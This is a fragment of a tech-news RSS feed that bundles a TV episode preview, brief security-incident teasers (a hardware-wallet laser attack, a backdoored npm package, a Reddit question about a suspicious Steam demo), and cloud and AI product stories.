<p>Tags: <a href="https://www.it-daily.net/thema/digitale-souveraenitaet">#digitale Souveränität</a> | <a href="https://www.it-daily.net/thema/eudi-wallet">#EUDI-Wallet</a> | <a href="https://www.it-daily.net/thema/europa">#Europa</a> | <a href="https://www.it-daily.net/thema/identity-security">#Identity Security</a></p>]]></content:encoded>
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<title><![CDATA[Silo Season 3 Episode 3 Release Date, Time, Preview, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ difficult recovery while the investigation in the Before Times places Helen Drew in serious danger. Titled “A Dark Web,” the episode will premiere on Apple TV on Friday, July 17, 2026.



Silo Season 3 Episode 3 Release Details




Episode t...]]></description>
<link>https://tsecurity.de/de/3663968/ios-mac-os/silo-season-3-episode-3-release-date-time-preview-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663968/ios-mac-os/silo-season-3-episode-3-release-date-time-preview-and-what-to-expect/</guid>
<pubDate>Mon, 13 Jul 2026 01:35:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ difficult recovery while the investigation in the Before Times places Helen Drew in serious danger. Titled “A Dark Web,” the episode will premiere on Apple TV on Friday, July 17, 2026.



Silo Season 3 Episode 3 Release Details




Episode title: A Dark Web



Release date: Friday, July 17, 2026



Streaming platform: Apple TV



Genre: Science fiction, drama and mystery



Expected duration: Around 54 minutes



Season length: 10 episodes



Main cast: Rebecca Ferguson, Tim Robbins, Common, Harriet Walter, Chinaza Uche, Ashley Zukerman and Jessica Henwick




Apple TV is releasing one new episode every Friday. The ten-episode season began on July 3 and will conclude with its finale on September 4, 2026.



Where Is the Story Heading?



Episode 3 will follow Juliette as she begins taking greater control of her recovery. Her memory problems have made it difficult for her to understand what happened before she returned to Silo 18, but she appears ready to stop relying completely on the people around her.



Meanwhile, Helen will face the consequences of her investigation in the Before Times. Her work with Congressman Daniel Keene has already pushed them closer to a conspiracy linked to the creation of the silos and the events that destroyed the outside world.



Spoilers for Silo Season 3 Episode 2



Episode 2, titled “It’s All Good,” divided its attention between Silo 18 and events taking place centuries earlier.



Billings investigated a disappearance inside the silo, while Daniel had a tense encounter with Helen. Their storyline continues turning the season into a political mystery as both characters uncover information that powerful people want to keep hidden.



Episode 3 should deepen that investigation and explain why Helen begins suffering consequences for asking questions. The title “A Dark Web” also suggests that the conspiracy reaches beyond one person or government department.



Inside Silo 18, Juliette’s recovery remains central to the story. As she starts making her own decisions, she may recover information about Bernard, the rebellion and the strange forces controlling life underground. Her actions could also place her at the centre of another struggle for power.



Silo Season 3 Episode 3 arrives on Apple TV on July 17. What do you plan to watch this week? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Tangem Sicherheitslücke: Laser-Angriff hebelt Hardware-Wallet dauerhaft aus]]></title>
<description><![CDATA[Tangem Sicherheitslücke entdeckt: Ein Laser-Angriff kann Wallet-Passwörter umgehen. Keine Updates möglich, Risiko bei physischem Zugriff.
Der Artikel Tangem Sicherheitslücke: Laser-Angriff hebelt Hardware-Wallet dauerhaft aus erschien zuerst auf TARNKAPPE.INFO]]></description>
<link>https://tsecurity.de/de/3663379/malware-trojaner-viren/tangem-sicherheitsluecke-laser-angriff-hebelt-hardware-wallet-dauerhaft-aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663379/malware-trojaner-viren/tangem-sicherheitsluecke-laser-angriff-hebelt-hardware-wallet-dauerhaft-aus/</guid>
<pubDate>Sun, 12 Jul 2026 16:03:06 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Tangem Sicherheitslücke entdeckt: Ein Laser-Angriff kann Wallet-Passwörter umgehen. Keine Updates möglich, Risiko bei physischem Zugriff.</p>
<p>Der Artikel <a href="https://tarnkappe.info/artikel/it-sicherheit/tangem-sicherheitsluecke-laser-angriff-hardware-wallet-331348.html">Tangem Sicherheitslücke: Laser-Angriff hebelt Hardware-Wallet dauerhaft aus</a> erschien zuerst auf <a href="https://tarnkappe.info/">TARNKAPPE.INFO</a></p>]]></content:encoded>
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<title><![CDATA[Claude Cowork's biggest use case is the mundane office work nobody wants to own, Anthropic says]]></title>
<description><![CDATA[Anthropic analyzed 1.2 million Claude Cowork sessions from more than 600,000 organizations. About half of all usage goes toward business processes and text creation, what Anthropic calls "the work around the work." That means tasks like compiling status reports, building onboarding checklists, or...]]></description>
<link>https://tsecurity.de/de/3663093/ai-nachrichten/claude-coworks-biggest-use-case-is-the-mundane-office-work-nobody-wants-to-own-anthropic-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663093/ai-nachrichten/claude-coworks-biggest-use-case-is-the-mundane-office-work-nobody-wants-to-own-anthropic-says/</guid>
<pubDate>Sun, 12 Jul 2026 11:47:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1365" height="768" src="https://the-decoder.com/wp-content/uploads/2026/01/ai_sprinting.jpeg" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic analyzed 1.2 million Claude Cowork sessions from more than 600,000 organizations. About half of all usage goes toward business processes and text creation, what Anthropic calls "the work around the work." That means tasks like compiling status reports, building onboarding checklists, or putting together slide decks. Software development barely shows up in Cowork because developers stick with Claude Code for that.</p>
<p>The article <a href="https://the-decoder.com/claude-coworks-biggest-use-case-is-the-mundane-office-work-nobody-wants-to-own-anthropic-says/">Claude Cowork's biggest use case is the mundane office work nobody wants to own, Anthropic says</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Unifiedpost and Google collaborate on Document AI to automate procurement data capture]]></title>
<description><![CDATA[Belgian fintech company, Unifiedpost Group has deployed Procurement DocAI to process nearly 350 million invoices and other procure-to-pay docs per year, in 15 countries across Europe. Procurement DocAI, which was announced at Google Cloud Next OnAir, automates the capture of invoices, receipts an...]]></description>
<link>https://tsecurity.de/de/3662837/it-security-nachrichten/unifiedpost-and-google-collaborate-on-document-ai-to-automate-procurement-data-capture/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662837/it-security-nachrichten/unifiedpost-and-google-collaborate-on-document-ai-to-automate-procurement-data-capture/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Belgian fintech company, <a href="https://www.unifiedpost.com/news/articles/pressrelease/pressrelease21oct2020" target="_blank">Unifiedpost Group</a> has deployed<a href="https://cloud.google.com/solutions/procurement-doc-ai"> Procurement DocAI</a> to process nearly 350 million invoices and other procure-to-pay docs per year, in 15 countries across Europe. </p><p>Procurement DocAI, which was <a href="https://cloud.google.com/blog/products/ai-machine-learning/ai-and-machine-learning-news-from-google-cloud">announced</a> at Google Cloud Next OnAir, automates the capture of invoices, receipts and other procurement data at scale. It takes unstructured documents across a variety of formats and turns them into cleanly structured data, increasing operational efficiency and improving document processing accuracy.    </p><p><i>“At Unifiedpost, we believe that administrative and financial processes should be simple and smart. Google Cloud’s Procurement DocAI solution helps us achieve that goal by providing the best in class document automation processing with high accuracy and global, multi-language support.” - <b>Hans Leybaert, CEO, Unifiedpost Group</b></i><br></p></div>
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<div class="block-paragraph"><p>Large enterprise procurement and distribution networks as well as small and medium enterprises (SMEs) generate millions of invoices, receipts, and other related documents a year. These processes generate significant overhead for every procured item. With competitive pressures increasing, businesses are finding new ways to automate one of their highest volume business processes -- the procurement cycle.</p><p>A key part of our strategy at Google Cloud is the creation of industry-specific solutions that address vertical needs. Cross-industry solutions like <a href="https://cloud.google.com/solutions/document-ai">Document AI</a> are built to plug into your existing workflows and deliver business results from AI without having to hire an army of AI experts, or manage cloud infrastructure to get there.</p><p><a href="https://cloud.google.com/solutions/procurement-doc-ai">Procurement DocAI</a> is one of our newest solutions, and it’s deployed by many customers and partners including Unifiedpost. The company currently serves 400k SMEs and 250+ corporations; their offering includes: documents (e.g., invoice PDF to XML conversion, e-invoicing), identity (e.g., KYC), and payments (e.g., IBAN accounts, online collection services, PSD2 payment services). </p><p>With a large, rapidly growing, and heavily multi-language footprint, Unifiedpost sought the best industry solutions to meet their automation challenges and connect their customers such as Billtobox.com or JeFacture.com. Google Cloud’s Procurement DocAI delivered two key benefits to address Unifiedpost’s business needs:</p><ul><li><p><b>Lower TCO of procure-to-pay processing</b>. Unifiedpost will be able to lower their TCO of procure-to-pay processing costs by up to 60% with Procurement DocAI. This solution provided them a cost effective approach for data extraction for invoices, receipts, and other valuable documents in the procurement cycle of procure to invoice, and invoice to pay.</p></li><li><p><b>Improve procurement document processing accuracy</b>. Procurement DocAI also helped boost data accuracy by 250% for Unifiedpost’s document extraction through specialized DocAI parsers with advanced OCR, computer vision, and Natural Language Processing. Additionally, Unifiedpost needed rapid multi-language expansion to enable regionalization support across Europe, particularly for French and Dutch to begin with, which Google delivered in less than a month.</p></li></ul><p>The collaboration between Google Cloud and Unifiedpost is just one of the latest examples of how we’re providing AI-powered functional solutions to solve business problems by leveraging our <a href="https://cloud.google.com/blog/products/ai-machine-learning/see-how-google-cloud-customers-transform-their-businesses-with-ai">Deployed AI approach</a>.</p><h3>Let’s connect</h3><p>For more customer stories from EMEA, check out <a href="https://cloud.google.com/blog/topics/google-cloud-next/announcing-google-cloud-next20-onair-emea">Google Cloud Next OnAir EMEA</a>, which has tailored content to support the needs of our customers in Europe, Middle East, and Africa, kicking off from 29 September - 27 October. <br></p></div>]]></content:encoded>
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<title><![CDATA[How Mercari reduced request latency by 15% with Cloud Profiler]]></title>
<description><![CDATA[Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservi...]]></description>
<link>https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p><i><b>Editor’s note</b>: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. </i></p><p>The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer <a href="https://www.emarketer.com/content/us-ecommerce-will-rise-18-2020-amid-pandemic?ecid=NL1001" target="_blank">predicts</a> that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace <a href="https://www.mercari.com/us/help_center/article/22" target="_blank">Mercari Inc</a>—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. </p><p>Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.</p><h3>A microservices menagerie</h3><p>Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. </p><p>After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: </p><ul><li><p>Exporting metrics to Prometheus</p></li><li><p>A gRPC server and interceptors</p></li><li><p>Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  </p></li></ul><p>We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. </p><h3>Maintaining SLO a challenge</h3><p>In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. </p><p>Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. </p><h3>Using Cloud Profiler and Cloud Trace to minimize performance issues</h3><p>In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. </p><p>New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  </p><p>Before the change:</p></div>
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<div class="block-paragraph"><p>After the change:</p></div>
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<div class="block-paragraph"><p>These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the <b>_UserStats_SellerCancelStats_Handler</b> function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function. </p><p>We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:</p></div>
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<div class="block-paragraph"><p>We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!</p><h3>Simplifying the DevOps experience</h3><p>Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate  tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity. </p><p>Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. <a href="https://cloud.google.com/profiler/docs/about-profiler#performance_impact">Low overhead</a> continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.</p><p>Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.  </p><p><i>Visit the Google Cloud website to learn more about <a href="https://cloud.google.com/profiler">Cloud Profiler</a> and <a href="https://cloud.google.com/trace">Cloud Trace</a>.</i></p></div>
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<title><![CDATA[Anyone able to verify if this steam game [Demo] is actual malware?]]></title>
<description><![CDATA[https://store.steampowered.com/app/4314010/Command_by_Voice_World_Conquest/ I downloaded this booted it and it said it was looking for steam wallet info as a hint prompt on the bottom and shortly after booted up a tcg_server.exe ofcourse i prompted on "No" and uninstalled shortly after then a dee...]]></description>
<link>https://tsecurity.de/de/3662626/malware-trojaner-viren/anyone-able-to-verify-if-this-steam-game-demo-is-actual-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662626/malware-trojaner-viren/anyone-able-to-verify-if-this-steam-game-demo-is-actual-malware/</guid>
<pubDate>Sun, 12 Jul 2026 04:18:03 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><a href="https://store.steampowered.com/app/4314010/Command_by_Voice_World_Conquest/">https://store.steampowered.com/app/4314010/Command_by_Voice_World_Conquest/</a></p> <p>I downloaded this booted it and it said it was looking for steam wallet info as a hint prompt on the bottom and shortly after booted up a tcg_server.exe ofcourse i prompted on "No" and uninstalled shortly after then a deepseek on the community tab opened up on steam and was stuck?</p> <p>Anyone out there with experience if this is actual malware and if i should be concerned or worried?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Historical_Cook7223"> /u/Historical_Cook7223 </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1uu05xq/anyone_able_to_verify_if_this_steam_game_demo_is/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1uu05xq/anyone_able_to_verify_if_this_steam_game_demo_is/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-11 18h : 2 posts]]></title>
<description><![CDATA[2 posts were published in the last hour 15:5 : Injective Labs GitHub Compromise Distributes Malicious npm Package Targeting Crypto Wallet Keys 15:5 : Hackers Target Industries in Japan, Attacks Share One Pattern
Read more →
The post IT Security News Hourly Summary 2026-07-11 18h : 2 posts appeare...]]></description>
<link>https://tsecurity.de/de/3662123/it-security-nachrichten/it-security-news-hourly-summary-2026-07-11-18h-2-posts/</link>
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<pubDate>Sat, 11 Jul 2026 18:24:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>2 posts were published in the last hour 15:5 : Injective Labs GitHub Compromise Distributes Malicious npm Package Targeting Crypto Wallet Keys 15:5 : Hackers Target Industries in Japan, Attacks Share One Pattern</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-11-18h-2-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-11-18h-2-posts/">IT Security News Hourly Summary 2026-07-11 18h : 2 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Injective Labs GitHub Compromise Distributes Malicious npm Package Targeting Crypto Wallet Keys]]></title>
<description><![CDATA[  Cybersecurity researchers have detected a software supply chain attack in which threat actors compromised the Injective Labs SDK GitHub repository and utilized it to distribute a backdoored version of the npm package containing cryptocurrency wallet credentials stealing capabilities. Researcher...]]></description>
<link>https://tsecurity.de/de/3662030/it-security-nachrichten/injective-labs-github-compromise-distributes-malicious-npm-package-targeting-crypto-wallet-keys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662030/it-security-nachrichten/injective-labs-github-compromise-distributes-malicious-npm-package-targeting-crypto-wallet-keys/</guid>
<pubDate>Sat, 11 Jul 2026 17:07:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Cybersecurity researchers have detected a software supply chain attack in which threat actors compromised the Injective Labs SDK GitHub repository and utilized it to distribute a backdoored version of the npm package containing cryptocurrency wallet credentials stealing capabilities. Researchers…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/injective-labs-github-compromise-distributes-malicious-npm-package-targeting-crypto-wallet-keys/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/injective-labs-github-compromise-distributes-malicious-npm-package-targeting-crypto-wallet-keys/">Injective Labs GitHub Compromise Distributes Malicious npm Package Targeting Crypto Wallet Keys</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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